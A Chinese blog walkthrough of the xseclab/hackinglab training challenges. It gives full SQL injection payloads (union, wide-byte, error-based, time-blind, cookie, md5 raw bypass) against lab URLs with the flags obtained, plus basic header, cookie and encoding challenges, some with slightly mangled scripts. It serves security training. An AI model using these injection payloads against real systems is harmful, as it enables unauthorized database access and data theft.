网络安全实验室4.注入关
Posted 儒道易行
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网络安全实验室4.注入关相关的知识,希望对你有一定的参考价值。
4.注入关
1.最简单的SQL注入
url:http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php
查看源代码,登录名为admin
最简单的SQL注入,登录名写入一个常规的注入语句:
admin’ or ‘1’='1
密码随便填,验证码填正确的,点击登录
得到我的座右铭(flag)是iamflagsafsfskdf11223
2.最简单的SQL注入(熟悉注入环境)
url:http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php
查看源代码,访问url:http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1
构造页面并访问?id=1 and 1=1 返回正常?id=1 and 1=2返回出错,说明存在SQL注入
判断字段数 ?id=1 order by 3页面返回正常,说明有三个字段
判断回显点 ?id=-1 union select 1,2,3 我们可以在如图所示位置进行查询
查询数据库名为mydbs ?id=-1 union select 1,2,database()
查询数据表为sae_user_sqli3
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
查询字段名为id,title,content
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=sae_user_sqli3
查询字段内容 ?id=-1 union select 1,2,content from sae_user_sqli3
得到HKGGflagdfs56757fsdv
3.防注入
url:http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php
本关尝试使用宽字节注入,添加单引号会出现空白页,没有报错,使用?id=1%df’
成功报错,找到注入点
构造语句?id=1%df%27%20or%201=1%23
页面正常回显,说明or语句执行成功可以注入!
构造语句?id=1%df%27%20or%201=1%20limit%202,1%23
得到Hsaagdfs56sdf7fsdv
另外一种方法是像上一关一样操作,只是需要构造语句?id=1%df%27 。。。%23
确定字段长度:
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df’ order by 3 %23
确定显示位:
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df’ union select 1,2,3 %23
得到数据库:
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23
得到列名:
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23
得到字段:
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23
4.到底能不能回显
url:http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1
经过测试,只有start参数有作用,num参数并没有作用。
构造payload:
查询数据库名:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select database()))),1)%23&num=1
查询数据表名:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(table_name)from information_schema.tables where table_schema=database()))),1)%23&num=1
查询列名:(由于分号被过滤了,只能将表名转换成16进制)
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(column_name)from information_schema.columns where table_name=0x75736572))),1)%23&num=1
查询flag:myflagishere
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select password from mydbs.user limit 2,1))),1)%23&num=1
5.邂逅
url:http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg
真的是第一次见图片后缀前面注入,加宽字节注入,因为无回显,所以用burp注入
burp对图片抓包的设置
在上图所示的位置
构造payload:
查询注入点:
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df’.jpg
页面报错
查询列数:4列
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 order by 4 %23.jpg
查询显示位:3
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,3,4%23.jpg
查询数据库:mydbs
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select database()),4 %23.jpg
查询表名:article,pic
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()),4 %23.jpg
查询列名:id,picname,data,text
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name=0x706963),4 %23.jpg
查询数据(flag):
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select picname from pic limit 2,1),4 %23.jpg
将图片后缀改为flagishere_askldjfklasjdfl.jpg ,
访问url:http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg
得到flag is “IamflagIloveyou!”
6.ErrorBased
url :http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin
本题考查mysql的报错注入
查询数据库名:mydbs
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20database())),1)%20–%20q
查询数据表名:log,motto,user
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(table_name) from information_schema.tables where table_schema=database())),1)%20–%20q
查询motto表的下的列名:id,username,motto
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘motto’)),1)%20–%20q
查询id字段的值:0,1,2,100000
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(id) from motto)),1)%20–%20q
查询username字段的值:admin,guest,test,#adf#ad@@#
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(username) from motto)),1)%20–%20q
查询motto字段的值:mymotto,happy everyday,nothing
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(motto) from motto)),1)%20–%20q
对比两次注入的结果,发现username字段比motto字段多一个结果,这说明flag可能就在被隐藏的结果中
再次构造语句,直接查询第四个值,得到notfound! 根据提示flag不带key和#
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20(motto) from motto limit 3,1)),1)%20–%20q
7.盲注
url:http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php
本题使用延时盲注
判断当前数据库名长度为5,页面没有延时,说明数据库长度为5
%27+and%20sleep(if((length(database())=5),0,3))–%20q
判断库名第一个值为m,页面没有延时,说明数据库第一个值为m
’ and if(substr(database(),1,1)=‘m’,0,sleep(3))-- q
以此类推,数据库名为mydbs
判断表名第一个表的第一个值为l,页面没有延时,说明第一个表的第一个值为l
’ and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘l’,0,sleep(3))-- q
以此类推,数据表名为log,motto,user
判断motto表中第一个字段的第一个值是i,页面没有延时,users表中第一个字段的第一个值是i
’ and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘motto’ limit 0,1),1,1)=‘i’,0,sleep(3))-- q
以此类推,数据表motto中的字段值为id,username,motto
判断motto表中第一个内容的第一个值为m,页面没有延时,motto表中第一个内容的第一个值为m
’ and if(substr((select id from motto limit 0,1),1,1)=‘0’,0,sleep(3))-- q
以此类推,得到flag,notfound!
延时注入太慢了,sqlmap跑也比较慢
8.SQL注入通用防护
url:http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1
本题提示过滤了GET/POST,所以我们猜测是否可以进行cookie注入,使用burp抓包
在cookie处构造字段id=1 and 1=1回显正常,id=1 and 1=2回显错误,说明此处存在数字型SQL注入
查询字段数目
id=1 order by 3
最后得到字段数目是3。
查询显示位,得到显示位是2,3
id=1 union select 1,2,3
查询数据库名,得到数据库名为mydbs
id=1 union select 1,2,database()
查询表名,得到在当前数据库中的表有sae_manager_sqli8,sae_user,sqli8
id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())
查询sae_manage_sqli8表中的字段,得到了id,username,password这3个字段
id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘sae_manager_sqli8’)
查询flag,IamFlagCookieInject!
id=1 union select 1,2,password from sae_manager_sqli8
9.据说哈希后的密码是不能产生注入的
url:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/
查看关键源
"select * from 'user' where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'"
对传入的userid使用了intval()函数转化为数字,同时将password使用md5()函数进行转化。这就是一个典型的MD5加密后的SQL注入。
其中最主要的就是md5()函数,当第二个参数为true时,会返回16字符的二进制格式。当为false的时候,返回的就是32字符十六进制数。默认的是false模式。具体的差别通过下面这个代码来看。
md5(‘123’) //202cb962ac59075b964b07152d234b70
md5(‘123’,true) // ,�b�Y[�K-#Kp
只要md5(str,true)之后的值是包含了’or’这样的字符串,那么sql语句就会变为select * from users where usrid=“XXX” and password=‘‘or’’。如此就可以绕过了。
提供一个字符:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
可以伪造成
select * from user
where userid=‘1’ and pwd = '‘or’6É]™é!r,ùíb’
从而成功绕过,得到Flag: FsdLAG67a6dajsdklsdf
payload:
http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
博客:
https://rdyx0.github.io/
先知社区:
https://xz.aliyun.com/u/37846
SecIN:
https://www.sec-in.com/author/3097
CSDN:
https://blog.csdn.net/weixin_48899364?type=blog
公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect
FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
网络安全实验室2.基础关
2.基础关
1.key在哪里
url:http://lab1.xseclab.com/base1_4a4d993ed7bd7d467b27af52d2aaa800/index.php
查看网页源代码的方式有4种,分别是:1、鼠标右击会看到”查看源代码“,这个网页的源代码就出现在你眼前了;2、可以使用快捷Ctrl+U来查看源码;3、在地址栏前面加上view-source,如view-source:https://www.baidu.com ; 4、浏览器的设置菜单框中,找到“更多工具”,然后再找开发者工具,也可以查看网页源代码。
这道题明显考查查看源代码的方式,右键审查元素
key is jflsjklejflkdsjfklds
2.ROT13加密
url:http://hackinglab.cn/ShowQues.php?type=bases
根据题意,“再加密一次”判断是ROT-13
ROT13是它自己本身的逆反;也就是说,要还原ROT13,套用加密同样的算法即可得,故同样的操作可用再加密与解密
使用在线解密工具
http://www.rot13.de/
xrlvf23xfqwsxsqf 把数据复制过去,点击下方的按钮
key is 23ksdjfkfds
3.base64 加密
url:http://hackinglab.cn/ShowQues.php?type=bases
因为后面有“=”初次判断为base64
BASE64:是一种基于64个可打印字符来表示二进制数据的表示方法。Base64编码要求把3个8位字节(38=24)转化为4个6位的字节(46=24),之后在6位的前面补两个0,形成8位一个字节的形式,Base64的尾部填充用的是“=”号,只是用来补足位数的,以四个字符为一个块,最末尾不足四个字符的用“=”号填满。
base64,base32,base16的区别:
base64中包含大写字母(A-Z)、小写字母(a-z)、数字0——9以及+/;
base32中只有大写字母(A-Z)和数字234567
base16中包含了数字(0-9)和大写字母(A~F)
根据加密后的字符串所以只能是base64
第一种方法:使用base64在线解密工具
http://tool.oschina.net/encrypt?type=3
把加密后的字符串复制黏贴到右边,进行解密
点击 BASE64解码,发现没有出来没发现key.
再次解密!!!!复制左面的面的编码粘贴至右面再次解码!!!一直复制粘贴出来key为止
进行了20次的复制黏贴,终于得到了!
key is jkljdkl232jkljkdl2389
第二种方法:使用php脚本
<?php
$data = "ba64加密的代码...";
$num = 0;
for ($i=0; $i < 1000; $i++)
$data2 = base64_decode($data);
$data = base64_decode($data2);
echo $data."<br/>";//不是$data就是$data2;两个随便输出一个就行了。
第三种方法:使用python脚本
第一个脚本:python3
#base64模块,专门用作base64编码解码的。
import base64
# 加密解密函数
def encrypt_decrypt(string):
#首先,Base64生成的编码都是ascii字符。其次,python3中字符都为unicode编码,而b64encode函数的参数为byte类型,所以必须先转码。
#将字符串转换成bytes 编码格式utf-8
#编码可以将抽象字符以二进制数据的形式表示,有很多编码方法,如utf-8、gbk等,可以使用encode()函数对字符串进行编码,转换成二进制字节数据,也可用decode()函数将字节解码成字符串;用decode()函数解码,可不要用指定编码格式;
#m查看循环次数
m = 0
#把string通过encode()进行转换
bytesString = string.encode(encoding='utf-8')
#使用了try···except···finally····捕获异常
try:
while True:
m += 1
decodeStr = base64.b64decode(bytesString)
#赋值
bytesString = decodeStr
#发生异常则输出这个
except Exception:
#decode()方法以encoding指定的编码格式解码字符串,默认编码为字符串编码
print('base64解码后的字符串:', decodeStr.decode())
#无论try是否异常,finally总会执行
finally:
print(m)
#程序的入口main ,作用:防止在被其他文件导入时显示多余的程序主体部分。
if __name__ == '__main__':
#测试数据
encrypt_decrypt('字符串')
第二个脚本:python2
import base64
s = "加密后的字符串"
a = 0
try:
while True:
s = base64.decodestring(s)
a += 1
except Exception:
print s
print a
4.MD5加密
url:http://hackinglab.cn/ShowQues.php?type=bases
使用md5在线解密
https://cmd5.org/
bighp
5.种族歧视
url:http://lab1.xseclab.com/base1_0ef337f3afbe42d5619d7a36c19c20ab/index.php
第一种方法:burp抓包
发现语言,因为这个网站只能让外国人进,所以把语言换成en-US
放包,得到key is: *(TU687jksf6&*
第二种方法:使用Python3脚本
import urllib,urllib.request
headers =
"Accept-Language": "en-US,en;q=0.9",
'User-Agent': "HAHA"
def getpage(path): # 抓取网页源代码
# data = urllib.request.urlopen(path).read().decode("gbk", "ignore") # 中文网页
# return data
request = urllib.request.Request(url=path, headers=headers) # 冒充其他浏览器
response = urllib.request.urlopen(request) # 会话,打开网页
data = response.read().decode("utf-8", "ignore") # 读取网页并且编码
return data
print(getpage('http://lab1.xseclab.com/base1_0ef337f3afbe42d5619d7a36c19c20ab/index.php'))# 网址自行更换
6.HAHA浏览器
url:http://lab1.xseclab.com/base6_6082c908819e105c378eb93b6631c4d3/index.php
第一种方法:burp抓包
发现有浏览器信息,那我们把浏览器改成HAHA
放包,得到key is: meiyouHAHAliulanqi
第二种方法:使用Python3脚本
import urllib,urllib.request
headers =
"Accept-Language": "en-US,en;q=0.9",
'User-Agent': "HAHA"
def getpage(path): # 抓取网页源代码
# data = urllib.request.urlopen(path).read().decode("gbk", "ignore") # 中文网页
# return data
request = urllib.request.Request(url=path, headers=headers) # 冒充其他浏览器
response = urllib.request.urlopen(request) # 会话,打开网页
data = response.read().decode("utf-8", "ignore") # 读取网页并且编码
return data
print(getpage('http://lab1.xseclab.com/base6_6082c908819e105c378eb93b6631c4d3/index.php'))# 网址自行更换
7.key究竟在哪里呢?
第一种方法:右键审查元素,得到Key: kjh%#$#%FDjjj
第二种方法:burp抓包,发送到重放模块,点击go,得到Key: kjh%#$#%FDjjj
8.key又找不到了
url:http://lab1.xseclab.com/base8_0abd63aa54bef0464289d6a42465f354/index.php
点击到这里找key,抓包重放,得到./key_is_here_now_.php
访问http://lab1.xseclab.com/base8_0abd63aa54bef0464289d6a42465f354/key_is_here_now_.php
得到key: ohHTTP302dd
9.冒充登陆用户
url:http://lab1.xseclab.com/base9_ab629d778e3a29540dfd60f2e548a5eb/index.php
第一种方法:burp抓包,cookie里的login参数改为1
得到key is: yescookieedit7823789KJ
第二种方法:使用python3脚本
import urllib,urllib.request
headers =
"Accept-Language": "en-US,en;q=0.9",
'Cookie': "Login=1"
def getpage(path): # 抓取网页源代码
# data = urllib.request.urlopen(path).read().decode("gbk", "ignore") # 中文网页
# return data
request = urllib.request.Request(url=path, headers=headers) # 冒充其他浏览器
response = urllib.request.urlopen(request) # 会话,打开网页
data = response.read().decode("utf-8", "ignore") # 读取网页并且编码
return data
print(getpage('http://lab1.xseclab.com/base9_ab629d778e3a29540dfd60f2e548a5eb/index.php'))# 网址自行更换
10.比较数字大小
url:http://lab1.xseclab.com/base10_0b4e4866096913ac9c3a2272dde27215/index.php
第一种方法,右键审查元素,前端验证,发现在框里最大长度是3,如图修改
输入9999,得到key is 768HKyu678567&*&K
第二种方法,burp抓包,直接输9999即可
11.本地的诱惑
url:http://lab1.xseclab.com/base11_0f8e35973f552d69a02047694c27a8c9/index.php
第一种方法:审查元素,得到key is ^&*(UIHKJjkadshf
第二种方法,必须本地访问,burp抓包,在 Request 中加入请求头 X-Forwarded-For: 127.0.0.1 ,得到key is ^&*(UIHKJjkadshf
注:X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。它不是RFC中定义的标准请求头信息,在squid缓存代理服务器开发文档中可以找到该项的详细介绍。标准格式如下:X-Forwarded-For: client1, proxy1, proxy2。
12.就不让你访问
url:http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/index.php
查看robots.txt,http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/robots.txt
注:disallow 一般是用在robots.txt中的。表示禁止搜索引擎抓取。
Disallow,正是robots.txt文件中设置禁止搜索引擎收录哪些目录的一个词语。
访问http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/9fb97531fe95594603aff7e794ab2f5f/
访问http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/9fb97531fe95594603aff7e794ab2f5f/login.php
得到right! key is UIJ%%IOOqweqwsdf
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
博客:
https://rdyx0.github.io/
先知社区:
https://xz.aliyun.com/u/37846
SecIN:
https://www.sec-in.com/author/3097
CSDN:
https://blog.csdn.net/weixin_48899364?type=blog
公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect
FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
以上是关于网络安全实验室4.注入关的主要内容,如果未能解决你的问题,请参考以下文章